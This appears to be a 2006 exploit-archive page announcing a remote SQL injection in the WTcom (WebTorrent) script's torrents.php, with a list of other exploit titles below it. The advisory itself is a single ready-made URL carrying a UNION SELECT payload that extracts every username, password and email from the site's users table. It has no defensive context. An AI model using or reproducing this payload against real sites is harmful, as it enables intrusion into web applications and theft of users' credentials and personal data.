exploits , vulnerabilities , articles , WTcom <= 0.2.4-alpha (torrents.php) Remote SQL Injection Vulnerability

2006-08-17

WTcom <= 0.2.4-alpha (torrents.php) Remote SQL Injection Vulnerability

Rated as : Moderate Risk

# WebTorrent (WTcom) Script <= 0.2.4
# ----------------------------------
# >>> Remote SQL Injection
# <<< Every Username, Password and Email
# ----------------------------------
# Author: sh1r081 (sh1r081[at]gmail.com)

http://[SITE]/torrents.php?mode=category&cat=0%20union%20select%20null,null,concat(username,char(32),password,char(32),email)%20from%20users%20/*


securitydot.net - 2006-08-17

Exploits - newest 10 RSS | More

2007-06-15 57300 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34224 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42448 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29346 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19781 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16715 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19421 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16602 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33618 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17243 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit